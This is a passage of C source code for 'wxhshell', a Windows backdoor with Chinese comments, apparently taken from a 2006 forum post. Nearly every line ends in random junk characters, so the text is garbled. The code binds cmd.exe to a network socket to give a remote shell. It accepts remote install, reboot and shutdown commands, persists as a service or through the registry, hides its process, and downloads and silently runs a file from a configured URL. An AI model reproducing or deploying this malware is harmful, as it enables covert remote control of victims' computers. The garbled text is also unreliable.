      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); cx+w_D9b!  
    break; tccw0  
  } ,=Q;@Z4 vJ  
  // 安装 /R/\>'{E&c  
  case 'i': { $*k(h|XfwW  
    if(Install()) Kivr)cIG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %#AM }MWIa  
    else Ai*R%#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^4G%*-   
    break; G`;YB  
    } Pn?,56SD=  
  // 卸载 kdq<)>"  
  case 'r': { cA,`!dG2,  
    if(Uninstall()) +ConK>;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &XvSAw+D@  
    else @%FLT6MY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f0^;*Y  
    break; (ncm]W  
    } jH5VrN*Q  
  // 显示 wxhshell 所在路径 ^ <$$h  
  case 'p': { s (2/]f$  
    char svExeFile[MAX_PATH]; vHydqFi9  
    strcpy(svExeFile,"\n\r"); 6H ]rO3[8  
      strcat(svExeFile,ExeFile); {zck Y  
        send(wsh,svExeFile,strlen(svExeFile),0); _ ^2\/@  
    break; # dA-dN  
    } o$4i{BL  
  // 重启 " Y1]6 Zu  
  case 'b': { wI0NotC  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "r+v^  
    if(Boot(REBOOT)) R5"5Z?'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a+-X\qN  
    else { c }-AD r9  
    closesocket(wsh); 5%6{ ePh{  
    ExitThread(0); V/t/uNm  
    } y^u9Ttf{  
    break; Q  *]d[  
    } l* ap$1'  
  // 关机 g +RgDt9  
  case 'd': { ^CBc~um2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Y5/SbQYf1  
    if(Boot(SHUTDOWN)) uc~/l4~N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {0(:5%  
    else { )'1rZb5  
    closesocket(wsh); 1H-d<G0)  
    ExitThread(0); n)<S5P?  
    } ELvP<Ny}  
    break; Hxr)`i46  
    } Z[Z3x6 6  
  // 获取shell q,Nhfo(  
  case 's': {  /N8>>g  
    CmdShell(wsh); .#OD=wkN0  
    closesocket(wsh); 2 -C*RHRx  
    ExitThread(0); I$y6N"|  
    break; w7d<Ky_C  
  } kq4ii`zi8  
  // 退出 8mc0(Z@  
  case 'x': { dSP~R  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); h>a/3a$g  
    CloseIt(wsh); ~+)sL1lx  
    break; + g*s%^(E  
    } <Pnz$nH:e  
  // 离开 /19ZyQw9  
  case 'q': { ]?<=DHn  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6Trtulm  
    closesocket(wsh); !H^e$BA  
    WSACleanup(); T?4I\SG  
    exit(1); LkwjEJQf  
    break; sX c|++  
        } |19zjhl  
  } C f(g  
  } dI%#cf1  
u}0U!  
  // 提示信息 |y%M";MI  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vU9j|z  
} MXP3Z N'  
  } + FG Xx  
K;'s+ZD  
  return; *dpKo&y  
} xm*6I  
05ZF>`g*  
// shell模块句柄 8WP|cF]  
int CmdShell(SOCKET sock) pIhy3@bY  
{ ?l/+*/AR;  
STARTUPINFO si; /l b"g_  
ZeroMemory(&si,sizeof(si)); h?-*SLT  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; P 5_ l&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;!9-I%e  
PROCESS_INFORMATION ProcessInfo; V"u .u  
char cmdline[]="cmd"; ,3,(/%=k  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7i##g,  
  return 0; LD gGVl  
} K^Ixu~  
6mml96(  
// 自身启动模式 uG^RU\(  
int StartFromService(void) *>,#'C2  
{ 2'-!9!C  
typedef struct sKniqWi  
{ x@Ze%$'  
  DWORD ExitStatus; @x[Arx^?}  
  DWORD PebBaseAddress; :$f9(f&  
  DWORD AffinityMask; nsjrzO79L8  
  DWORD BasePriority; 2_C&p6VGj  
  ULONG UniqueProcessId; A>B_~=  
  ULONG InheritedFromUniqueProcessId; \1f&D!F]b  
}   PROCESS_BASIC_INFORMATION; mGC!7^_D`  
d+L!s7  
PROCNTQSIP NtQueryInformationProcess; QT)5-Jy  
1=Y pNXX  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; G|+naZ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; B 4RP~^  
/DxeG'O  
  HANDLE             hProcess; ;a9`z+ K  
  PROCESS_BASIC_INFORMATION pbi; ;NPbEPL[5  
 )k6O  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); P^-daRb  
  if(NULL == hInst ) return 0; #,jw! HO]  
i7jI(VvB^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); m[$pj~<\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %<yH6h*u  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }HLV'^"k  
)Q5ja}-{V  
  if (!NtQueryInformationProcess) return 0; | HfN<4NL  
eZv G  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); uD8,E!\  
  if(!hProcess) return 0; Rdj/n :  
oaGpqjBGQ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _J ZlXY  
q'CtfmI`r=  
  CloseHandle(hProcess); yr[HuwU  
3aERfIJyE  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); C|g]Y 7  
if(hProcess==NULL) return 0; Jj'dg6QY'  
jr3FDd]  
HMODULE hMod; k3VRa|Y")  
char procName[255]; t_NnQ4)=  
unsigned long cbNeeded; vE$n0bL2  
>pj)va[Q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <F&53N&Zc  
R.)w l  
  CloseHandle(hProcess); @lu` oyM  
/=+Bc=<lZ  
if(strstr(procName,"services")) return 1; // 以服务启动 "jA?s9  
Yu e#  
  return 0; // 注册表启动 Sc,a jT  
} 3c[< #] 8S  
-,pw[R  
// 主模块 ! +{$dB>a  
int StartWxhshell(LPSTR lpCmdLine) hNUkaP  
{ 0oNy  
  SOCKET wsl; bVW2Tjc:  
BOOL val=TRUE; oBI@.&tG}  
  int port=0; GSaU:A  
  struct sockaddr_in door; ]`T*}$|  
5o2vj8::  
  if(wscfg.ws_autoins) Install(); hw)#TEt   
i$"M'BG  
port=atoi(lpCmdLine); WP ~]pduT  
.u^4vVz  
if(port<=0) port=wscfg.ws_port; V}po  
yd~}CF  
  WSADATA data; *]+5T-R% $  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |L%d^m  
yl UkVr   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   rw%1>]os  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Mx_O'D  
  door.sin_family = AF_INET; vQsI^p  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Gid6,J  
  door.sin_port = htons(port); h$2lO^  
*sYvV,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;T\'|[bY   
closesocket(wsl); Vohd d_x  
return 1; xt=ELzu$  
} V 2/?1  
 K>S:Z  
  if(listen(wsl,2) == INVALID_SOCKET) { Rw]lW;EN<  
closesocket(wsl); :7DXLI|L#?  
return 1; CoTe$C7  
} |\6Ff/O  
  Wxhshell(wsl); DQyy">]Mh  
  WSACleanup();  mm9xO%  
atYe$Db  
return 0; zOsk'ZE&  
XTS%:S  
} (\*+HZ`(Uu  
M) Z3q  
// 以NT服务方式启动 #@8JYzMq%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0;SRmj@W  
{ qg9VK'3o  
DWORD   status = 0; +A%"_7L}  
  DWORD   specificError = 0xfffffff; x) OJ?l  
3Sl2c  
  serviceStatus.dwServiceType     = SERVICE_WIN32; R,f"2 k  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3R)_'!R[B  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  \>l DM  
  serviceStatus.dwWin32ExitCode     = 0; b5t:" >wC  
  serviceStatus.dwServiceSpecificExitCode = 0; )L/o|%r!  
  serviceStatus.dwCheckPoint       = 0; o~tL;(sz  
  serviceStatus.dwWaitHint       = 0;  >Q% FW  
^Y?Y5`! Q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,;k`N`#'  
  if (hServiceStatusHandle==0) return; tVqc!][   
P{%R*hb]  
status = GetLastError(); pL pBP+i  
  if (status!=NO_ERROR) M\6u4p!G!  
{ /& wA$h  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; LR Dj!{k{  
    serviceStatus.dwCheckPoint       = 0; 5rlZ'>I.  
    serviceStatus.dwWaitHint       = 0; v/z~ j  
    serviceStatus.dwWin32ExitCode     = status; JLu>w:\  
    serviceStatus.dwServiceSpecificExitCode = specificError; %h "%G=:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'Z 82+uU%  
    return; Vk?US&1q}  
  } P-)`FB  
}4XXNYH  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _(0GAz%9  
  serviceStatus.dwCheckPoint       = 0; vuO~^N]G  
  serviceStatus.dwWaitHint       = 0; =5u;\b>*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (8jQdbZU  
} gSt'<v  
X].Igb)2  
// 处理NT服务事件,比如:启动、停止 7kq6VS;p  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [&K"OQ^\2h  
{ N= {0A  
switch(fdwControl) kJK:1;CM?.  
{ ZDTp/5=?K/  
case SERVICE_CONTROL_STOP: ]B=2r^fn  
  serviceStatus.dwWin32ExitCode = 0; .$N8cYu0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3Q~zli:  
  serviceStatus.dwCheckPoint   = 0; 4">C0m;ks  
  serviceStatus.dwWaitHint     = 0; JxLSQ-"  
  { p$1y8Zbor  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H0?Vq8I?  
  } BX-fV|  
  return; >%i]p  
case SERVICE_CONTROL_PAUSE: |tdsg  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; H#FH '@J  
  break; 7xoq:oP-}N  
case SERVICE_CONTROL_CONTINUE: K} TSwY  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; xF])NZy|  
  break; }e0>Uk`[  
case SERVICE_CONTROL_INTERROGATE: 6 6Bx,]"6  
  break; h7cE"m  
}; 2R>!Wj'G+o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Dhzm C  
} KxUO=v<u  
GRj#1OqL  
// 标准应用程序主函数 6<m9guv  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 08F~6e6a8  
{ I6RF;m:Jw  
tde&w=ec  
// 获取操作系统版本 F%`O$uXA  
OsIsNt=GetOsVer(); TDZ p1zpXb  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \3 M%vJ  
/{ FSG!  
  // 从命令行安装 35Cm>X  
  if(strpbrk(lpCmdLine,"iI")) Install(); Be~In~~  
[[' (,,r  
  // 下载执行文件 rkWiGiisM  
if(wscfg.ws_downexe) { :3.!?mOe2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `i{p6-U3  
  WinExec(wscfg.ws_filenam,SW_HIDE); WI\jm&H r  
} _8&a%?R@W  
EVW\Z 2N.  
if(!OsIsNt) { 2b^E8+r9  
// 如果时win9x,隐藏进程并且设置为注册表启动 ">x"BP  
HideProc(); JE ''Th}  
StartWxhshell(lpCmdLine); E4qQ  
} S- JD}+ 9  
else #?klVK&e/  
  if(StartFromService()) `C>De4nT@  
  // 以服务方式启动 Pm== m9  
  StartServiceCtrlDispatcher(DispatchTable); zp:EssO=Q  
else <(W:Q3?s  
  // 普通方式启动 xY<*:&  
  StartWxhshell(lpCmdLine); O2N~&<^  
cs0rz= ZdH  
return 0; \<Di |X1  
}
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只看该作者 1 发表于: 2006-10-10
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